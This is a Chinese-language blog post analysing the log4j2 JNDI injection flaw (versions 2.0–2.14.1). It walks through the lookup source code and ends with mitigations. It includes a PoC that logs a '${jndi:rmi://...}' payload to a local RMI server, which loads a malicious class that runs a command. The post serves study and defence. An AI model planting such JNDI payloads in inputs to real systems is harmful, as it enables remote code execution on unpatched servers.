• log4j JNDI注入原理


    log4j2 JNDI注入原理

    log4j2中的JNDI注入

    log4j在 \(2.0\) - \(2.14.1\)版本中,存在jndi注入问题。

    配置

    首先使用maven导入log4j包并通过log4j2.xml进行日志服务配置。

    1. 导入maven pom.xml 配置如下(如果是spring、mybatis等框架,自带并默认使用log4j):
    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <log4j2.version>2.14.1</log4j2.version>
    </properties>
    
    <dependencies>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>${log4j2.version}</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>${log4j2.version}</version>
        </dependency>
    </dependencies>
    
    1. src/main/resources/log4j2.xml配置如下:
    <?xml version="1.0" encoding="UTF-8"?>
    
    <configuration status="WARN" monitorInterval="30">
        <appenders>
            <!--这个输出控制台的配置-->
            <console name="Console" target="SYSTEM_OUT">
                <!--输出日志的格式-->
                <PatternLayout pattern="[%d{HH:mm:ss:SSS}] [%p] - %l - %m%n"/>
            </console>
        </appenders>
    
        <!--然后定义logger,只有定义了logger并引入的appender,appender才会生效-->
        <loggers>
            <!--将日志输出到控制台,日志等级为all-->
            <root level="all">
                <appender-ref ref="Console"/>
            </root>
        </loggers>
    </configuration>
    

    log4j2 配置文档

    Logger 打印方法漏洞

    Logger 类负责接受字符串或Object参数,并进行日志打印。其中Logger类的日志打印方法支持使用 {} 作为占位符,进行格式化打印日志消息。

    Logger logger = LogManager.getLogger(UserService.class);
    logger.info("{}","nishoushun@ustc.edu");
    

    输出:

    [11:39:55:265] [INFO] - UserServiceTest.test(UserServiceTest.java:11) - nishoushun@ustc.edu
    
    插件匹配

    Logger的日志记录方法中的 {} 占位符不仅可以被开发者的定义的变量进行替换,log4j2中还对 ${} 其做了进一步匹配与查询处理:log4j2中可以通过 ${plugin:var} 的格式查询相应的内置变量

    这个插件实际上是实现了 org.apache.logging.log4j.core.lookup.StrLookup 接口的一个实现类。

    StrLookup 接口定义

    package org.apache.logging.log4j.core.lookup;
    
    import org.apache.logging.log4j.core.LogEvent;
    
    public interface StrLookup {
        String CATEGORY = "Lookup";
        String lookup(String key);
        String lookup(LogEvent event, String key);
    }
    

    也就是说当你提供了 key 以及 event 之后,该实现类给你查询之后的返回消息。

    :调用 java lookups 插件,查询系统信息

    Logger logger = LogManager.getLogger(UserService.class);
    logger.info("${java:os}");
    

    获得输出:

    [14:56:28:771] [INFO] - service.login.LoginHandler.receiveUsername(LoginHandler.java:14) - username: Linux 5.15.2-2-MANJARO, architecture: amd64-64
    

    会发现原本的格式{${java:os}}会被替换了相应的系统信息。

    更多内置实现类以及配置请看:LOG4J Lookups 官方文档

    注入原理

    查看文档,发现log4j本身就支持 JNDI 方式查询:

    image-20220330114931256

    该功能可以通过系统属性(System.getProperty)的 log4j2.enableJndiLookup 的值确定是否开启。

    PoC

    首先开启一个绑定了恶意类的JNDI服务,这里以 rmi 作为实现(开启RMI注册中心以及相关HTTP服务),之后调用测试方法:

    @Test
    public void test(){
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
    
        Logger logger = LogManager.getLogger(UserService.class);
        logger.info("{}","${jndi:rmi://127.0.0.1:1099/exec}");
    }
    

    由于本身依赖于 JNDI,所以log4j2漏洞对jdk版本要求较高,需要设置相应系统属性或找的合适的本地类绕开限制。

    输出如下:

    ExecutorFactory is constructed.
    generating a new CmdExecutor...
    Cmd Executor is constructed. cmd: firefox
    [12:24:02:194] [INFO] - UserServiceTest.test(UserServiceTest.java:13) - remote.exec.CmdExecutor@bef2d72
    

    可以看出,服务端加载了username字符串指定的rmi服务中映射的的Class,并进行了实例化,最终以 exec.CmdExecutor#toString 替换了 ${} 中的值。

    Peek 2022-03-27 03-53

    Lookups 过程分析

    Lookups provide a way to add values to the Log4j configuration at arbitrary places. They are a particular type of Plugin that implements the StrLookup interface. Information on how to use Lookups in configuration files can be found in the Property Substitution section of the Configuration page.

    ${ 匹配

    org.apache.logging.log4j.core.pattern.MessagePatternConverter # fomat 方法中有这么一段代码:

    // TODO can we optimize this?
    if (config != null && !noLookups) {
        for (int i = offset; i < workingBuilder.length() - 1; i++) {
            if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
                final String value = workingBuilder.substring(offset, workingBuilder.length());
                workingBuilder.setLength(offset);
                workingBuilder.append(config.getStrSubstitutor().replace(event, value));
            }
        }
    }
    

    即当参数传入打印方法时,Log4j会对其做一个${匹配与字符替换。

    如果在 开启Lookups(noLookupsfalse 功能的情况下,那么该类会查找传入的字符串是否含有${,并使用 config.getStrSubstitutor().replace(event, value) 对其匹配到的 event 进行替换。

    前缀、后缀与分隔符匹配

    org.apache.logging.log4j.core.lookup.StrSubstitutor 类定义了格式化日志变量替换的相应字符默认值,以及匹配与替换方法,其中需要匹配的符号默认值如下:

    public static final char DEFAULT_ESCAPE = '$';
    public static final StrMatcher DEFAULT_PREFIX = StrMatcher.stringMatcher(DEFAULT_ESCAPE + "{");
    public static final StrMatcher DEFAULT_SUFFIX = StrMatcher.stringMatcher("}");
    public static final String DEFAULT_VALUE_DELIMITER_STRING = ":-";
    public static final StrMatcher DEFAULT_VALUE_DELIMITER = StrMatcher.stringMatcher(DEFAULT_VALUE_DELIMITER_STRING);
    public static final String ESCAPE_DELIMITER_STRING = ":\\-";
    

    可以看到触发消息匹配的:

    • 前缀:${
    • 后缀:}
    • 变量分隔符::-
    • 转义分隔符::\\-

    :默认匹配上述符号,可在配置文件中修改,详情请看官方文档。

    this.substitute 方法中,可以看到代码中放置一个双层while循环(外层循环用于匹配前缀,内层循环用于向后匹配后缀;当匹配到正确后缀后,以后缀字符位置的下一个位置,继续进行外层循环),使用该类定义的前后缀、以及变量分隔符,在传入的日志字符串中进行匹配,并将匹配到的变量名放在传入的参数:List priorVariables对象中。

    查询

    substitude 方法找出一个匹配字串之后,调用 this.resolveVariable 方法:

    protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf, inal int startPos, final int endPos) {
        final StrLookup resolver = getVariableResolver();
        if (resolver == null) {
            return null;
        }
        return resolver.lookup(event, variableName);
    }
    

    该方法用于找到一个适合传入参数 eventvariableNamelookup 方法对以匹配到的变量名进行查询。

    发现该类实际上是一个 org.apache.logging.log4j.core.lookup.Interpolator

    image-20220330122949667

    Interpolator

    实际上是一个代理类,其中定义了一些内置的 key

    image-20220330123029720

    发现其中就有 jndi

    lookup 方法中,首先会根据 : 进行分割,然后根据前面的部分找到对应的 StrLookup 接口的实现类,发现获取的是一个 JndiLookup

    最终调用实现类的 lookup 方法,获取查询值,并对原有字符串进行替换:

    image-20220330123403745

    Log4j2 中内置的实现 StrLookup 接口的实现类如下:

    image-20211212142232964

    其中以JavaLookup实现类为例:

    @Plugin(name = "java", category = StrLookup.CATEGORY)
    public class JavaLookup extends AbstractLookup {
    
    private final SystemPropertiesLookup spLookup = new SystemPropertiesLookup();
     /**
     省略
     **/
     @Override
     public String lookup(final LogEvent event, final String key) {
       switch (key) {
       case "version":
           return "Java version " + getSystemProperty("java.version");
       case "runtime":
           return getRuntime();
       case "vm":
           return getVirtualMachine();
       case "os":
           return getOperatingSystem();
       case "hw":
           return getHardware();
       case "locale":
           return getLocale();
       default:
           throw new IllegalArgumentException(key);
       }
     }
    }
    

    该类中定义了以 java:var 格式的查询条件,即当我们在日志传参中使用 "${java:var}" 形式的字符串后,会查询到相应的值:

    • version
    • runtime
    • vm
    • os
    • hw
    • locale
    • 其他:抛出一个非法参数异常

    正好和官方文档相对应:

    image-20220113113121810

    这也就解释了为什么String username = "${java:os}" 会被替换为 getOperatingSystem() 的返回的字符串。

    JndiLookup

    这次log4j2的漏洞关键在于 StrLookup 接口的一个实现类 org.apache.logging.log4j.core.lookup.JndiLookup

    package org.apache.logging.log4j.core.lookup;
    /**
    省略
    */
    
    /**
     * Looks up keys from JNDI resources.
     */
    @Plugin(name = "jndi", category = StrLookup.CATEGORY)
    public class JndiLookup extends AbstractLookup {
    
        private static final Logger LOGGER = StatusLogger.getLogger();
        private static final Marker LOOKUP = MarkerManager.getMarker("LOOKUP");
    
        /** JNDI resource path prefix used in a J2EE container */
        static final String CONTAINER_JNDI_RESOURCE_PATH_PREFIX = "java:comp/env/";
    
        /**
         * Looks up the value of the JNDI resource.
         * @param event The current LogEvent (is ignored by this StrLookup).
         * @param key  the JNDI resource name to be looked up, may be null
         * @return The String value of the JNDI resource.
         */
        @Override
        public String lookup(final LogEvent event, final String key) {
            if (key == null) {
                return null;
            }
            final String jndiName = convertJndiName(key);
            try (final JndiManager jndiManager = JndiManager.getDefaultManager()) {
                return Objects.toString(jndiManager.lookup(jndiName), null);
            } catch (final NamingException e) {
                LOGGER.warn(LOOKUP, "Error looking up JNDI resource [{}].", jndiName, e);
                return null;
            }
        }
    
        /**
         * Convert the given JNDI name to the actual JNDI name to use.
         * Default implementation applies the "java:comp/env/" prefix
         * unless other scheme like "java:" is given.
         * @param jndiName The name of the resource.
         * @return The fully qualified name to look up.
         */
        private String convertJndiName(final String jndiName) {
            if (!jndiName.startsWith(CONTAINER_JNDI_RESOURCE_PATH_PREFIX) && jndiName.indexOf(':') == -1) {
                return CONTAINER_JNDI_RESOURCE_PATH_PREFIX + jndiName;
            }
            return jndiName;
        }
    }
    

    如果用户的输入中包含 ${jndi:url} 匹配模式,并作为传入 Logger 打印方法的参数,则查询时会使用JndiLookup类作为 StrLookup 接口的实现,该类会调用 jndiManager.lookup(jndiName),从而获取并加载远程类。

    在使用 JndiLookup # lookup 方法时,发现调用了 InitialContext # lookup 方法:

    image-20220330123957128

    看到这估计了解JNDI注入的人就全懂了。

    防御

    关于防御最好还是升级Log4j版本以及禁用lookup功能(如果非必需的话)。

    版本升级

    升级jdk版本

    对于Oracle JDK \(11.0.1\)\(8u191\)\(7u201\)\(6u211\) 或者更高版本的JDK来说,默认就已经禁用了 RMI Reference、LDAP Reference 的远程加载,但是依然可以靠本地classpath中的 ObjectFactory 实现类去进行攻击。

    升级log4j版本

    log4j 在 \(2.15.0\) 版本中默认关闭 lookup 功能

    禁用log4j的lookup功能

    控制日志格式

    对于 >=\(2.7\) 的版本,在 log4j 配置文件中对每一个日志输出格式进行修改。在 %msg 占位符后面添加 {nolookups},这种方式的适用范围比其他三种配置更广。

    :在 log4j2.xml 中配置

    <?xml version="1.0" encoding="UTF-8"?>
    <configuration status="WARN" monitorInterval="30">
        <appenders>
            <!--这个输出控制台的配置-->
            <console name="Console" target="SYSTEM_OUT">
                <!--输出日志的格式-->
                <PatternLayout pattern="[%d{HH:mm:ss:SSS}] [%p] - %l - %m%n"/>
                <PatternLayout pattern="%d{HH:mm:ss.SSS} [%p] - %l - %m%n - %msg{nolookups}%n"/>
            </console>
        </appenders>
    
        <!--然后定义logger,只有定义了logger并引入的appender,appender才会生效-->
        <loggers>
            <!--将日志输出到控制台,日志等级为all-->
            <root level="all">
                <appender-ref ref="Console"/>
            </root>
        </loggers>
    </configuration>
    
    直接关闭 Lookup 功能

    在配置文件 log4j2.component.properties 中增加:log4j2.formatMsgNoLookups=true

    也可以通过设置JVM系统属性,jvm 启动参数中增加 -Dlog4j2.formatMsgNoLookups=true,或者

    System.setProperty("log4j2.formatMsgNoLookups", "true");
    

    注意:必须在 log4j 被初始化之前设置该系统属性。

  • 相关阅读:
    Cannot initialize Cluster. Please check your configuration for mapreduce.framework.name
    docker-compose 安装solr+ikanalyzer
    centos 安装Python3
    spring+springmvc+mybatis 开发JAVA单体应用
    职责链模式例子
    ssm(spring、springmvc、mybatis)框架整合
    PAT (Advanced Level) Practise
    PAT (Advanced Level) Practise
    PAT (Advanced Level) Practise
    PAT (Advanced Level) Practise
  • 原文地址:https://www.cnblogs.com/nishoushun/p/16076504.html
Copyright © 2020-2023  润新知